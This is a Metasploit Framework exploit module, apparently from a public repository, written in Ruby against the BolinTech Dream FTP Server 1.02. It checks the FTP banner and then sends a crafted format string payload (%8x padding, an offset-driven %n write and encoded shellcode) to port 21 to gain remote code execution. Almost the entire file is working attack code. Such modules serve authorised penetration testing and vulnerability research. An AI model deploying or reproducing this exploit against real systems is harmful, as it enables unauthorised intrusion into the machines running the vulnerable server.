metasploit-framework/modules/exploits/windows/ftp/dreamftp_format.rb

87 lines
1.8 KiB
Ruby

##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'BolinTech Dream FTP Server 1.02 Format String',
'Description' => %q{
This module exploits a format string overflow in the BolinTech
Dream FTP Server version 1.02. Based on the exploit by SkyLined.
},
'Author' => [ 'patrick' ],
'Arch' => [ ARCH_X86 ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2004-2074'],
[ 'OSVDB', '4986'],
[ 'BID', '9800'],
[ 'EDB', '823']
],
'Platform' => ['win'],
'Privileged' => false,
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x0a\x0d",
'StackAdjustment' => -3500,
},
'Targets' =>
[
# Patrick - Tested OK 2007/09/10 against w2ksp0, w2ksp4 en.
[
'Dream FTP Server v1.02 Universal',
{
'Offset' => 3957680, # 0x3c63ff-0x4f
}
],
],
'DisclosureDate' => 'Mar 03 2004',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(21),
], self.class)
end
def check
connect
banner = sock.get(-1,3)
disconnect
if (banner =~ /Dream FTP Server/)
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end
def exploit
connect
select(nil,nil,nil,0.25)
sploit = "\xeb\x29"
sploit << "%8x%8x%8x%8x%8x%8x%8x%8x%" + target['Offset'].to_s + "d%n%n"
sploit << "@@@@@@@@" + payload.encoded
sock.put(sploit + "\r\n")
select(nil,nil,nil,0.25)
handler
disconnect
end
end